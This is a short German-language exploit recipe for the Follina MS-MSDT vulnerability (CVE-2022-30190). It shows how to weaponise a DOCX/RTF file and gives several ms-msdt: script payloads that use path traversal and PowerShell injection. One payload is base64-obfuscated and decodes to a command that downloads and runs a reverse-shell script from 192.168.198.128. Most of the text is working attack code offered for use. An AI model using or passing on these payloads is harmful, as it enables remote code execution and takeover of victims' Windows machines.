
CVE-2022-30190 | MS-MSDT Follina Ein Klick
CVE-2022-30190 | MS-MSDT Follina Ein Klick
Sobald eine DOCX-Datei mit den unten stehenden Parametern/Schritten gespeichert wurde, speichern Sie die DOCX-Datei als RTF.
Wenn Sie zusätzlich diese Elemente unter dem
<o:OLEObject>-Element inword/document.xmlhinzufügen:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
Der Vorgang des erneuten Komprimierens kann auch aus JohnHammonds Python-Skript entnommen werden:
~ Rebuild the original office file ~
shutil.make_archive(args.output, "zip", doc_path)
os.rename(args.output + ".zip", args.output)
Reference: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
Kann Start-Process('calc') ersetzt werden durch:
IEX('calc.exe')
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
Dekodiert: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))
